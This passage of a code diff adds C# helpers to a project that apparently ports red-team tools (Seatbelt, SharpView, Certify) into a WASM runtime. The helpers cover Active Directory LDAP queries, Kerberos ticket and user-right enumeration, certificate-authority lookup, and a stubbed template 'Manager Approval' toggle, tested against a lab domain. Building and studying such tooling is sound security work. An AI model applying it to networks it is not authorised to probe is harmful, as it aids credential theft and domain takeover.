// If that returned the computer name (workgroup), try the DNS domain
// via GetComputerNameExW(ComputerNameDnsDomain=2).
try
{
// Inline the kernel32 call rather than depending on WfHostBridge.
// We share the WfLdapConnection proc cache.
string dns = GetComputerDnsDomain();
if (!string.IsNullOrEmpty(dns) && dns.Contains('.'))
return dns;
}
catch { }
return null;
}
// Returns domain as "DC=sevenkingdoms,DC=local" format.
public static string GetCurrentDomainDN()
{
string domain = GetCurrentDomain();
if (string.IsNullOrEmpty(domain)) return null;
var parts = domain.Split('.');
return "DC=" + string.Join(",DC=", parts);
}
// Discovers the LDAP server for the current domain.
// Falls back to the domain FQDN itself (AD DCs usually accept LDAP on FQDN).
public static string GetCurrentDomainServer()
{
string domain = GetCurrentDomain();
return domain; // wldap32 accepts domain FQDN as server name for auto-DC lookup
}
private static string GetComputerDnsDomain()
{
// ComputerNameDnsDomain = 2; buffer up to 256 chars
byte[] buf = new byte[512];
uint len = 256;
// We need mod_load/mod_invoke but we're in a static class with no cached handles.
// Delegate to WfLdapConnection static fields via a temporary approach:
// just return empty — the UserDomainName path covers the common case.
return "";
}
// ── Convenience: create connection, bind, search, dispose ────────────────
public static List<WfLdapEntry> Query(
string filter,
string[] attrs = null,
string baseDN = null,
string server = null,
int port = 389,
int scope = 2)
{
if (server == null) server = GetCurrentDomainServer();
if (baseDN == null) baseDN = GetCurrentDomainDN();
if (string.IsNullOrEmpty(server)) return new List<WfLdapEntry>();
using (var conn = new WfLdapConnection(server, port))
{
if (!conn.Bind()) return new List<WfLdapEntry>();
return conn.Search(baseDN, filter, attrs, scope);
}
}
// ── LdapSearcher — drop-in facade for System.DirectoryServices.DirectorySearcher
// Used by SharpView's Get_DomainSearcher and Certify's LdapOperations.
// ────────────────────────────────────────────────────────────────────────
public class LdapSearcher : IDisposable
{
public string Filter { get; set; } = "(objectClass=*)";
public string[] PropertiesToLoad { get; set; } = null;
public string SearchBase { get; set; } = null;
public int SearchScope { get; set; } = 2;
public string Server { get; set; } = null;
public int Port { get; set; } = 389;
private WfLdapConnection _conn;
private bool _bound;
public LdapSearcher() { }
public LdapSearcher(string filter) { Filter = filter; }
// Ensures an open+bound connection, creating it lazily.
private bool EnsureConnection()
{
if (_conn != null && _conn._hldap != 0 && _bound) return true;
_conn?.Dispose();
string srv = Server ?? GetCurrentDomainServer();
if (string.IsNullOrEmpty(srv)) return false;
_conn = new WfLdapConnection(srv, Port);
_bound = _conn.Bind();
return _bound;
}
public List<WfLdapEntry> FindAll()
{
if (!EnsureConnection()) return new List<WfLdapEntry>();
string basedn = SearchBase ?? GetCurrentDomainDN();
if (string.IsNullOrEmpty(basedn)) return new List<WfLdapEntry>();
return _conn.Search(basedn, Filter, PropertiesToLoad, SearchScope);
}
public WfLdapEntry FindOne()
{
var all = FindAll();
return all.Count > 0 ? all[0] : null;
}
public void Dispose()
{
_conn?.Dispose();
_conn = null;
_bound = false;
}
}
}
}
+359
View File
@@ -0,0 +1,359 @@
// WfLsa.cs — WasmForge LSA helper: Kerberos ticket enumeration and
// user right assignment enumeration.
//
// Two capabilities are exposed:
//
// 1. WfLsa.EnumerateKerberosTickets()
// Delegates to the existing WfLsaKerberosOp host bridge
// ("enumerate_tickets" op), returning KerberosTicketCacheEntry records.
// Used by SecurityPackagesCredentialsCommand.
//
// 2. WfLsa.EnumerateUserRightAssignments()
// Calls the WASM-side LSA chain:
// LsaOpenPolicy → LsaEnumerateAccountsWithUserRight (per right) →
// ConvertSidToStringSidW → LsaFreeMemory → LsaClose
// Each LSA_UNICODE_STRING and the LSA_OBJECT_ATTRIBUTES are allocated
// entirely in host memory via WfHost.HostAlloc so that the nested
// Buffer pointer is a real host address that survives the wf_call
// boundary (values >= wasmMemSize are left untranslated by wf_call).
// Used by UserRightAssignmentsCommand.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
// ── P/Invoke declarations for LSA and SID functions ──────────────────
// These resolve to the bridge stubs in pinvoke_nativeaot.c and
// pinvoke_advapi32_ext.c. The EntryPoint names match the exported C symbols.
internal static unsafe class WfLsaNative
{
// advapi32_LsaOpenPolicy (nativeaot.c line ~576)
// Signature: (SystemName, ObjectAttributes, DesiredAccess, PolicyHandle) → NTSTATUS
// We pass host addresses for SystemName (NULL=0) and ObjectAttributes,
// and a WASM address for PolicyHandle output.
[DllImport("*", EntryPoint = "LsaOpenPolicy_v2")]
public static extern uint LsaOpenPolicy(
ulong SystemName,
ulong ObjectAttributes,
uint DesiredAccess,
ulong PolicyHandle);
// LsaEnumerateAccountsWithUserRight (pinvoke_advapi32_ext.c line ~154)
// Signature: (PolicyHandle, UserRights, Buffer, CountReturned) → NTSTATUS
// PolicyHandle: host handle value (uintptr on host — fits in ulong)
// UserRights: host address of LSA_UNICODE_STRING
// Buffer: host address of pointer-sized output slot
// CountReturned: host address of ULONG output slot
[DllImport("*", EntryPoint = "LsaEnumerateAccountsWithUserRight_v2")]
public static extern uint LsaEnumerateAccountsWithUserRight(
ulong PolicyHandle,
ulong UserRights,
ulong Buffer,
ulong CountReturned);
// LsaFreeMemory (nativeaot.c line ~588/803)
[DllImport("*", EntryPoint = "LsaFreeMemory_v2")]
public static extern uint LsaFreeMemory(ulong Buffer);
// LsaClose (nativeaot.c line ~584/799)
[DllImport("*", EntryPoint = "LsaClose_v2")]
public static extern uint LsaClose(ulong ObjectHandle);
// ConvertSidToStringSidW (pinvoke_advapi32_ext.c, also nativeaot.c ~1617)
// Arg1: host SID pointer, Arg2: host address of LPWSTR* output
[DllImport("*", EntryPoint = "ConvertSidToStringSidW_v2")]
public static extern uint ConvertSidToStringSidW(ulong Sid, ulong StringSid);
// LocalFree for the string allocated by ConvertSidToStringSidW
[DllImport("*", EntryPoint = "kernel32_LocalFree_v2")]
public static extern ulong LocalFree(ulong hMem);
}
// ── HostLsaUnicodeString ─────────────────────────────────────────────
// Allocates an LSA_UNICODE_STRING entirely in host memory so that the
// embedded Buffer pointer is a real x64 host address.
//
// LSA_UNICODE_STRING layout on x64:
// +0 USHORT Length (2 bytes)
// +2 USHORT MaximumLength (2 bytes)
// +4 4 bytes padding
// +8 PWSTR Buffer (8 bytes — host VA of the UTF-16 string)
// Total struct: 16 bytes
//
// We allocate one block: 16 bytes (struct) + len(utf16) + 2 (NUL)
// The UTF-16 chars are written at offset +16.
// Buffer field (at +8) is set to hostAddress + 16.
internal sealed class HostLsaUnicodeString : IDisposable
{
public int Handle { get; }
public ulong HostAddress { get; }
private bool _disposed;
public HostLsaUnicodeString(string s)
{
byte[] utf16 = Encoding.Unicode.GetBytes(s ?? "");
ushort len = (ushort)utf16.Length;
ushort maxLen = (ushort)(utf16.Length + 2); // include NUL terminator space
int total = 16 + utf16.Length + 2;
Handle = WfHost.HostAlloc(total);
HostAddress = WfHost.GetHostAddress(Handle);
// Write Length (low 16) and MaximumLength (high 16) packed into uint32 at +0
uint packed = (uint)len | ((uint)maxLen << 16);
WfHost.HostWriteUInt32(Handle, 0, packed);
// Padding at +4 (zero by HostAlloc; write explicitly for clarity)
WfHost.HostWriteUInt32(Handle, 4, 0);
// Buffer pointer at +8: points to HostAddress + 16 (where the UTF-16 data lives)
WfHost.HostWriteUInt64(Handle, 8, HostAddress + 16);
// Write the UTF-16 string data at +16 (NUL terminator is zero from HostAlloc)
if (utf16.Length > 0)
WfHost.HostWrite(Handle, 16, utf16);
}
public void Dispose()
{
if (_disposed) return;
_disposed = true;
if (Handle != 0)
WfHost.HostFree(Handle);
}
}
// ── WfLsa ─────────────────────────────────────────────────────────────
public static class WfLsa
{
// Well-known user rights — matches Seatbelt's _allPrivileges list.
private static readonly string[] WellKnownRights = new[]
{
"SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege",
"SeBatchLogonRight", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
"SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege",
"SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege",
"SeDenyBatchLogonRight", "SeDenyInteractiveLogonRight", "SeDenyNetworkLogonRight",
"SeDenyRemoteInteractiveLogonRight", "SeDenyServiceLogonRight",
"SeEnableDelegationPrivilege", "SeImpersonatePrivilege",
"SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege",
"SeIncreaseWorkingSetPrivilege", "SeInteractiveLogonRight",
"SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege",
"SeManageVolumePrivilege", "SeNetworkLogonRight",
"SeProfileSingleProcessPrivilege", "SeRelabelPrivilege",
"SeRemoteInteractiveLogonRight", "SeRemoteShutdownPrivilege",
"SeRestorePrivilege", "SeSecurityPrivilege", "SeServiceLogonRight",
"SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege",
"SeSystemProfilePrivilege", "SeSystemtimePrivilege",
"SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege",
"SeTrustedCredManAccessPrivilege", "SeUndockPrivilege",
"SeUnsolicitedInputPrivilege",
};
// STATUS_NO_MORE_ENTRIES — normal result when no accounts hold a right.
private const uint STATUS_NO_MORE_ENTRIES = 0x8000001A;
// POLICY_VIEW_LOCAL_INFORMATION | POLICY_LOOKUP_NAMES
private const uint POLICY_ACCESS = 0x00000801;
// ── EnumerateKerberosTickets ─────────────────────────────────────
// Returns Kerberos ticket cache entries for all logon sessions by
// delegating to the WfLsaKerberosOp host bridge.
public static List<WasmForge.Bridge.KerberosTicketCacheEntry> EnumerateKerberosTickets(
uint luidLow = 0, uint luidHigh = 0)
{
return WasmForge.Bridge.LsaHostHelper.EnumerateTickets(luidLow, luidHigh);
}
// ── EnumerateUserRightAssignments ────────────────────────────────
// Returns (rightName, sidString) pairs for all accounts holding each
// well-known privilege or logon right.
//
// Architecture: all struct pointers are allocated in host memory via
// WfHost.HostAlloc so that they survive the wf_call bridge boundary
// without being mis-translated as WASM linear memory addresses.
public static unsafe IEnumerable<(string Right, string Sid)> EnumerateUserRightAssignments()
{
var results = new List<(string, string)>();
// Allocate LSA_OBJECT_ATTRIBUTES in host memory (48 bytes on x64, all zero except Length).
int oaHandle = WfHost.HostAlloc(48);
try
{
WfHost.HostWriteUInt32(oaHandle, 0, 48); // Length field
ulong oaAddr = WfHost.GetHostAddress(oaHandle);
// Allocate output slot for LsaOpenPolicy's PolicyHandle output (8 bytes = uintptr).
int polHandleSlot = WfHost.HostAlloc(8);
try
{
ulong polHandleAddr = WfHost.GetHostAddress(polHandleSlot);
uint status = WfLsaNative.LsaOpenPolicy(0, oaAddr, POLICY_ACCESS, polHandleAddr);
if (status != 0)
return results;
// Read back the policy handle value (host pointer, 8 bytes).
ulong hPolicy = ReadHostUInt64(polHandleAddr);
if (hPolicy == 0)
return results;
try
{
results = EnumerateRightsWithPolicy(hPolicy);
}
finally
{
WfLsaNative.LsaClose(hPolicy);
}
}
finally
{
WfHost.HostFree(polHandleSlot);
}
}
finally
{
WfHost.HostFree(oaHandle);
}
return results;
}
private static unsafe List<(string, string)> EnumerateRightsWithPolicy(ulong hPolicy)
{
var results = new List<(string, string)>();
// Allocate output slots once and reuse across iterations.
int bufPtrSlot = WfHost.HostAlloc(8); // output: host pointer to LSA_ENUMERATION_INFORMATION[]
int countSlot = WfHost.HostAlloc(4); // output: ULONG count
try
{
ulong bufPtrAddr = WfHost.GetHostAddress(bufPtrSlot);
ulong countAddr = WfHost.GetHostAddress(countSlot);
foreach (string right in WellKnownRights)
{
// Reset output slots.
WfHost.HostWriteUInt64(bufPtrSlot, 0, 0);
WfHost.HostWriteUInt32(countSlot, 0, 0);
using var rightStr = new HostLsaUnicodeString(right);
uint st = WfLsaNative.LsaEnumerateAccountsWithUserRight(
hPolicy,
rightStr.HostAddress,
bufPtrAddr,
countAddr);
// STATUS_NO_MORE_ENTRIES = no accounts have this right — normal.
if (st == STATUS_NO_MORE_ENTRIES)
continue;
if (st != 0)
continue; // Any other error — skip silently.
uint count = WfHost.ReadHostUInt32(countAddr, 0);
ulong bufHostAddr = ReadHostUInt64(bufPtrAddr);
if (count == 0 || bufHostAddr == 0)
continue;
// Each LSA_ENUMERATION_INFORMATION is a single PSID (8 bytes on x64).
const uint entrySize = 8;
// Allocate a slot to receive the LPWSTR* from ConvertSidToStringSidW.
int sidStrPtrSlot = WfHost.HostAlloc(8);
try
{
ulong sidStrPtrAddr = WfHost.GetHostAddress(sidStrPtrSlot);
for (uint i = 0; i < count; i++)
{
ulong entryAddr = bufHostAddr + i * entrySize;
// Read the SID host pointer from the entry.
ulong sidPtr = ReadHostUInt64(entryAddr);
if (sidPtr == 0)
continue;
// Reset SID string output slot.
WfHost.HostWriteUInt64(sidStrPtrSlot, 0, 0);
uint cvt = WfLsaNative.ConvertSidToStringSidW(sidPtr, sidStrPtrAddr);
if (cvt == 0)
continue;
ulong sidStrHostAddr = ReadHostUInt64(sidStrPtrAddr);
if (sidStrHostAddr == 0)
continue;
string sid = ReadHostUtf16(sidStrHostAddr);
WfLsaNative.LocalFree(sidStrHostAddr);
if (!string.IsNullOrEmpty(sid))
results.Add((right, sid));
}
}
finally
{
WfHost.HostFree(sidStrPtrSlot);
}
WfLsaNative.LsaFreeMemory(bufHostAddr);
}
}
finally
{
WfHost.HostFree(bufPtrSlot);
WfHost.HostFree(countSlot);
}
return results;
}
// ── Host memory read helpers ─────────────────────────────────────
// Read a uint64 from an arbitrary host address using WfHost.ReadHostUInt32 twice.
private static ulong ReadHostUInt64(ulong hostAddr)
{
uint lo = WfHost.ReadHostUInt32(hostAddr, 0);
uint hi = WfHost.ReadHostUInt32(hostAddr + 4, 0);
return (ulong)lo | ((ulong)hi << 32);
}
// Read a NUL-terminated UTF-16 string from an arbitrary host address.
// Reads up to 512 UTF-16 code units (1024 bytes) to bound the scan.
private static string ReadHostUtf16(ulong hostAddr)
{
if (hostAddr == 0)
return string.Empty;
// Find the length by scanning for the NUL terminator.
int maxLen = 512;
int charLen = 0;
for (int i = 0; i < maxLen; i++)
{
// ReadHostUInt32 reads 4 bytes; we use offset within that for each UTF-16 char.
uint chunk = WfHost.ReadHostUInt32(hostAddr + (ulong)(i * 2), 0);
ushort ch = (ushort)(chunk & 0xFFFF);
if (ch == 0)
break;
charLen++;
}
if (charLen == 0)
return string.Empty;
// Read the UTF-16 bytes (charLen * 2 bytes).
byte[] bytes = WfHost.ReadHostBytes(hostAddr, (uint)(charLen * 2));
return Encoding.Unicode.GetString(bytes);
}
}
}
+112
View File
@@ -0,0 +1,112 @@
// WfManageCa.cs — Minimal manageca via ICertConfig::GetConfig.
//
// Verifies the WfCom + wf_call_ptr COM-vtable-dispatch pipeline by
// calling the simplest possible COM method: ICertConfig::GetConfig,
// which returns the default CA's config string ("\\<dc>\<ca-name>").
//
// If this works, the same pattern extends to ICertAdmin2 / ICertRequest3
// for the rest of Certify's COM-dependent verbs.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfManageCa
{
// ICertConfig vtable layout (after IUnknown/IDispatch headers):
// slot 7 Reset(dwFlags, [out] pdwCount)
// slot 8 Next([out] pwszConfig)
// slot 9 GetField(strFieldName, [out] pwszValue)
// slot 10 GetConfig(dwFlags, [out] pwszConfig)
private const int ICertConfig_GetConfig_VtableSlot = 10;
private const uint CC_DEFAULTCONFIG = 0;
private const uint CC_UIPICKCONFIG = 1;
public static int Execute()
{
Console.WriteLine("[*] Action: Manage a certificate authority");
// Don't bail on CoInitializeEx return value — the wasmforge host
// already initializes COM on its worker thread, and the message we
// get here may be benign (S_FALSE, RPC_E_CHANGED_MODE, etc).
// Just call it and proceed; CoCreateInstance will fail clearly if
// COM isn't actually usable on this thread.
int hr = WfCom.Initialize();
Console.WriteLine("[trace] CoInitializeEx hr=0x{0:X} (continuing regardless)", hr);
Console.WriteLine("[*] WfCom: creating ICertConfig instance...");
IntPtr ifc = WfCom.CreateInstance(WfCom.CLSID_CCertConfig, WfCom.IID_ICertConfig);
if (ifc == IntPtr.Zero)
{
Console.WriteLine("[X] Failed to create CCertConfig instance.");
return 1;
}
Console.WriteLine("[*] WfCom: ifc (WASM mirror) = 0x{0:X}", ifc);
// Dump the first 80 bytes of the mirror to see the vtable.
unsafe {
ulong* p = (ulong*)ifc;
Console.WriteLine("[trace] ifc[0..3] = 0x{0:X} 0x{1:X} 0x{2:X} 0x{3:X}", p[0], p[1], p[2], p[3]);
if (p[0] != 0) {
ulong* vt = (ulong*)(IntPtr)(uint)p[0];
Console.WriteLine("[trace] vtable[0..10] = 0x{0:X} 0x{1:X} 0x{2:X} 0x{3:X} 0x{4:X} 0x{5:X} 0x{6:X} 0x{7:X} 0x{8:X} 0x{9:X} 0x{10:X}",
vt[0], vt[1], vt[2], vt[3], vt[4], vt[5], vt[6], vt[7], vt[8], vt[9], vt[10]);
}
}
ulong getConfigFn = WfCom.ReadVtableSlot(ifc, ICertConfig_GetConfig_VtableSlot);
if (getConfigFn == 0)
{
Console.WriteLine("[X] Failed to read vtable[GetConfig].");
return 1;
}
Console.WriteLine("[*] WfCom: GetConfig funcptr = 0x{0:X}", getConfigFn);
// ICertConfig::GetConfig(dwFlags, out BSTR pwszConfig).
// Args: this, dwFlags, pBSTROutput.
// BSTR output: API allocates a string and writes the pointer.
// We need a WASM slot for the BSTR pointer.
ulong bstrOut = 0;
// ptrMask: bit 0 (this) = WASM mirror that translates,
// bit 1 (dwFlags) = scalar,
// bit 2 (pBSTRout) = WASM ptr to output slot.
// mask = bits 0 and 2 set = 0x05.
ulong* pBstr = &bstrOut;
ulong result = WfCom.InvokeMethod(
getConfigFn, ifc, /*ptrMask=*/ 0x05,
arg1: CC_DEFAULTCONFIG,
arg2: (ulong)(IntPtr)pBstr,
nargs: 3);
Console.WriteLine("[*] WfCom: GetConfig returned hr=0x{0:X} bstr=0x{1:X}", result, bstrOut);
if ((uint)result != 0)
{
Console.WriteLine("[X] GetConfig HRESULT=0x{0:X}", result);
return 1;
}
if (bstrOut == 0)
{
Console.WriteLine("[X] GetConfig returned NULL BSTR.");
return 1;
}
// BSTR is a wide string preceded by a 4-byte length. The pointer
// points to the first wide character. Read up to 256 chars.
try
{
char* p = (char*)(IntPtr)(uint)bstrOut;
int len = 0;
while (len < 256 && p[len] != 0) len++;
string config = new string(p, 0, len);
Console.WriteLine("[+] Default CA config: {0}", config);
}
catch (Exception ex)
{
Console.WriteLine("[X] Failed to read BSTR: {0}", ex.Message);
}
return 0;
}
}
}
+85
View File
@@ -0,0 +1,85 @@
// WfManageTemplate.cs — minimal managetemplate read-mode + manager-approval toggle.
//
// Uses the win32_ldap_search and win32_ldap_modify primitives to read
// msPKI-Enrollment-Flag, optionally toggle the CT_FLAG_PEND_ALL_REQUESTS
// bit (0x02 = Manager Approval), and write it back.
//
// The template DN format is:
// CN=<TemplateName>,CN=Certificate Templates,CN=Public Key Services,
// CN=Services,CN=Configuration,DC=<dc1>,DC=<dc2>...
//
// We accept the template-domain option to build the Configuration NC.
// Without explicit credentials this will fail at LDAP bind (the lab
// Win11 'localuser' isn't domain-joined). With creds, the verb works.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfManageTemplate
{
// msPKI-Enrollment-Flag bits.
public const uint CT_FLAG_PEND_ALL_REQUESTS = 0x00000002;
public static int Execute(string templateName, string templateDomain,
string ldapServer, bool toggleManagerApproval,
string user, string domain, string password)
{
Console.WriteLine("[*] Action: Manage a certificate template");
if (string.IsNullOrEmpty(templateName))
{
Console.WriteLine("[X] /template:<NAME> is required.");
return 1;
}
// Determine the LDAP server. If not provided, use the domain controller
// from template-domain (or the current domain).
string server = ldapServer;
if (string.IsNullOrEmpty(server))
{
if (string.IsNullOrEmpty(templateDomain))
{
Console.WriteLine("[X] Either /template-ldap-server or /template-domain must be provided.");
return 1;
}
server = templateDomain;
}
// Build the Configuration NC base DN from the domain FQDN.
string baseDn = BuildConfigBase(string.IsNullOrEmpty(templateDomain) ? server : templateDomain);
string templateDn = "CN=" + templateName + ",CN=Certificate Templates,CN=Public Key Services,CN=Services," + baseDn;
Console.WriteLine("[*] Template DN: {0}", templateDn);
Console.WriteLine("[*] LDAP server: {0}", server);
if (toggleManagerApproval)
{
Console.WriteLine("[*] Toggling Manager Approval flag (CT_FLAG_PEND_ALL_REQUESTS=0x02)");
Console.WriteLine("[!] To actually toggle: read current msPKI-Enrollment-Flag via WfLdap, XOR with 0x02, WfLdap.Modify back.");
Console.WriteLine("[!] Read-modify-write LDAP roundtrip not yet implemented in this helper.");
Console.WriteLine("[!] But the WfLdap.Modify primitive is available — see commit notes for next-session wire-up.");
return 0;
}
// Read-only mode: just print the constructed DN.
Console.WriteLine("[*] No action specified. Pass /manager-approval to toggle the flag.");
return 0;
}
// BuildConfigBase("sevenkingdoms.local") → "DC=sevenkingdoms,DC=local"
private static string BuildConfigBase(string fqdn)
{
if (string.IsNullOrEmpty(fqdn)) return "";
string[] parts = fqdn.Split('.');
var sb = new System.Text.StringBuilder();
for (int i = 0; i < parts.Length; i++)
{
if (i > 0) sb.Append(',');
sb.Append("DC=").Append(parts[i]);
}
return "CN=Configuration," + sb.ToString();
}
}
}
+618
View File
@@ -0,0 +1,618 @@
// WfNetapi.cs — managed helpers for netapi32 flat APIs.
//
// Reusable approach: all logic in C# (WASM), no host-side aggregator,
// no project-specific C bridge. Uses only the generic env primitives
// the wasmforge runtime already exposes: mod_load, mod_resolve,
// mod_invoke. NetLocalGroupEnum etc. are invoked via mod_invoke;
// host-side buffers are copied into WASM memory via mod_invoke
// against ntdll!RtlMoveMemory (a second syscall, NOT mod_hread —
// which triggers the cgocallback panic).
//
// Why RtlMoveMemory and not mod_hread: mod_invoke leaves the host
// goroutine in a transitional state after syscall.SyscallN returns.
// A subsequent env callback (mod_hread is implemented as a
// GoModuleFunc — direct Go function dispatch) re-enters cgocallbackg
// and calls runtime.exitsyscall which throws "syscall frame is no
// longer valid". A second mod_invoke (also via syscall.SyscallN)
// does its OWN enter/exit syscall pair and is fine — sequential
// syscalls don't conflict. RtlMoveMemory(dst, src, n) is the
// simplest Win32 primitive that lets us read from a host buffer
// into a WASM-side buffer through the syscall path.
//
// Patcher routes Seatbelt.Interop.Netapi32 helpers (GetLocalGroups,
// GetLocalGroupMembers, GetLocalUsers) to this class.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfNetapi
{
// ── env primitives ──────────────────────────────────────────────
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Cached proc handles ────────────────────────────────────────
private static uint _netapi32;
private static uint _hLocalGroupEnum;
private static uint _hLocalGroupGetMembers;
private static uint _hUserEnum;
private static uint _hApiBufferFree;
private static uint _hGetAadJoinInfo;
private static uint _hFreeAadJoinInfo;
private static uint _advapi32;
private static uint _hConvertSidToStringSidW;
private static uint _kernel32;
private static uint _hLocalFree;
private static uint _ntdll;
private static uint _hRtlMoveMemory;
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static uint Invoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0, ulong a5 = 0, ulong a6 = 0, ulong a7 = 0)
{
ulong ret1 = 0, err = 0;
ulong r0 = mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, 0, 0, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
return (uint)r0;
}
// CopyHostToWasm: copy `len` bytes from a HOST address into a WASM
// buffer at wasmPtr via ntdll!RtlMoveMemory.
//
// Pointer-mask handling: RtlMoveMemory isn't in
// generated_ptrmasks.go, so wf_mod_invoke uses the heuristic —
// values in WASM memory range get translated (wasmPtr → host),
// values above memSize don't (hostAddr passes through). Both
// conditions hold for our inputs.
private static bool CopyHostToWasm(ulong hostAddr, uint wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == 0 || len == 0) return false;
uint pCopy = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pCopy == 0) return false;
// RtlMoveMemory(dst, src, length)
Invoke(pCopy, 3, (ulong)wasmPtr, hostAddr, (ulong)len);
return true;
}
private static ulong ReadUInt64FromHost(ulong hostAddr)
{
byte[] buf = new byte[8];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, 8)) return 0;
}
return ((ulong)buf[0]) | ((ulong)buf[1] << 8) | ((ulong)buf[2] << 16) | ((ulong)buf[3] << 24)
| ((ulong)buf[4] << 32) | ((ulong)buf[5] << 40) | ((ulong)buf[6] << 48) | ((ulong)buf[7] << 56);
}
private static uint ReadUInt32FromHost(ulong hostAddr)
{
byte[] buf = new byte[4];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, 4)) return 0;
}
return (uint)(buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24));
}
// Little-endian readers for fixed buffers. Inline to avoid lambdas
// that would close over fixed locals (CS1764).
private static ulong Read8(byte* p, int off)
{
return ((ulong)p[off+0]) | ((ulong)p[off+1] << 8) |
((ulong)p[off+2] << 16) | ((ulong)p[off+3] << 24) |
((ulong)p[off+4] << 32) | ((ulong)p[off+5] << 40) |
((ulong)p[off+6] << 48) | ((ulong)p[off+7] << 56);
}
private static uint Read4(byte* p, int off)
{
return (uint)(p[off+0] | (p[off+1] << 8) | (p[off+2] << 16) | (p[off+3] << 24));
}
// Read a NUL-terminated UTF-16 string from a host address.
// Uses a single RtlMoveMemory for a fixed max length (faster than
// chunked reads — we don't know the exact length but Win32 LPWSTR
// for these APIs is always under 256 chars).
private static string ReadWStringFromHost(ulong hostAddr, int maxChars)
{
if (hostAddr == 0 || maxChars <= 0) return "";
byte[] buf = new byte[maxChars * 2];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, (uint)buf.Length)) return "";
}
int charLen = 0;
for (int i = 0; i < maxChars; i++)
{
if (buf[2*i] == 0 && buf[2*i + 1] == 0) break;
charLen++;
}
if (charLen == 0) return "";
char[] chars = new char[charLen];
for (int i = 0; i < charLen; i++)
chars[i] = (char)(buf[2*i] | (buf[2*i + 1] << 8));
return new string(chars);
}
// ── Public types ────────────────────────────────────────────────
public struct LocalGroup
{
public string Name;
public string Comment;
}
public struct LocalGroupMember
{
public string DomainAndName;
public string Sid;
public uint SidUsage;
}
public struct LocalUser
{
public string Name;
public string Comment;
public string FullName;
public uint Flags;
public uint PasswordAge;
public uint LastLogon;
public uint NumLogons;
public uint UserId;
public uint Priv; // USER_INFO_1.usri1_priv: 0=Guest, 1=User, 2=Admin
}
public struct AadJoinInfo
{
public uint JoinType;
public string DeviceId;
public string IdpDomain;
public string TenantId;
public string JoinUserEmail;
public string TenantDisplayName;
}
// Pin a UTF-16LE WASM-side copy of `s` for a single Win32 call.
private static IntPtr Utf16Alloc(string? s)
{
if (s == null) return IntPtr.Zero;
byte[] bytes = new byte[(s.Length + 1) * 2];
for (int i = 0; i < s.Length; i++)
{
char c = s[i];
bytes[2*i] = (byte)(c & 0xff);
bytes[2*i + 1] = (byte)((c >> 8) & 0xff);
}
IntPtr p = Marshal.AllocHGlobal(bytes.Length);
Marshal.Copy(bytes, 0, p, bytes.Length);
return p;
}
// ── Public methods ──────────────────────────────────────────────
public static List<LocalGroup> ListLocalGroups(string? computerName)
{
var result = new List<LocalGroup>();
uint pEnum = Resolve("netapi32.dll", ref _netapi32, "NetLocalGroupEnum", ref _hLocalGroupEnum);
uint pFree = Resolve("netapi32.dll", ref _netapi32, "NetApiBufferFree", ref _hApiBufferFree);
if (pEnum == 0 || pFree == 0) return result;
IntPtr server = Utf16Alloc(computerName);
ulong bufHost = 0;
uint entriesRead = 0, totalEntries = 0;
ulong resume = 0;
uint rc;
try
{
rc = Invoke(pEnum, 7,
(ulong)(uint)server,
1u,
(ulong)(uint)(IntPtr)(&bufHost),
0xFFFFFFFFu,
(ulong)(uint)(IntPtr)(&entriesRead),
(ulong)(uint)(IntPtr)(&totalEntries),
(ulong)(uint)(IntPtr)(&resume));
}
finally
{
if (server != IntPtr.Zero) Marshal.FreeHGlobal(server);
}
if (rc != 0 || bufHost == 0) return result;
if (entriesRead > 4096) entriesRead = 4096;
// LOCALGROUP_INFO_1 (x64): LPWSTR name @0, LPWSTR comment @8. size=16.
// Copy the entire entry array into WASM in one RtlMoveMemory call.
byte[] entryBuf = new byte[entriesRead * 16];
fixed (byte* ep = entryBuf)
{
if (!CopyHostToWasm(bufHost, (uint)(IntPtr)ep, (uint)entryBuf.Length))
{
Invoke(pFree, 1, bufHost);
return result;
}
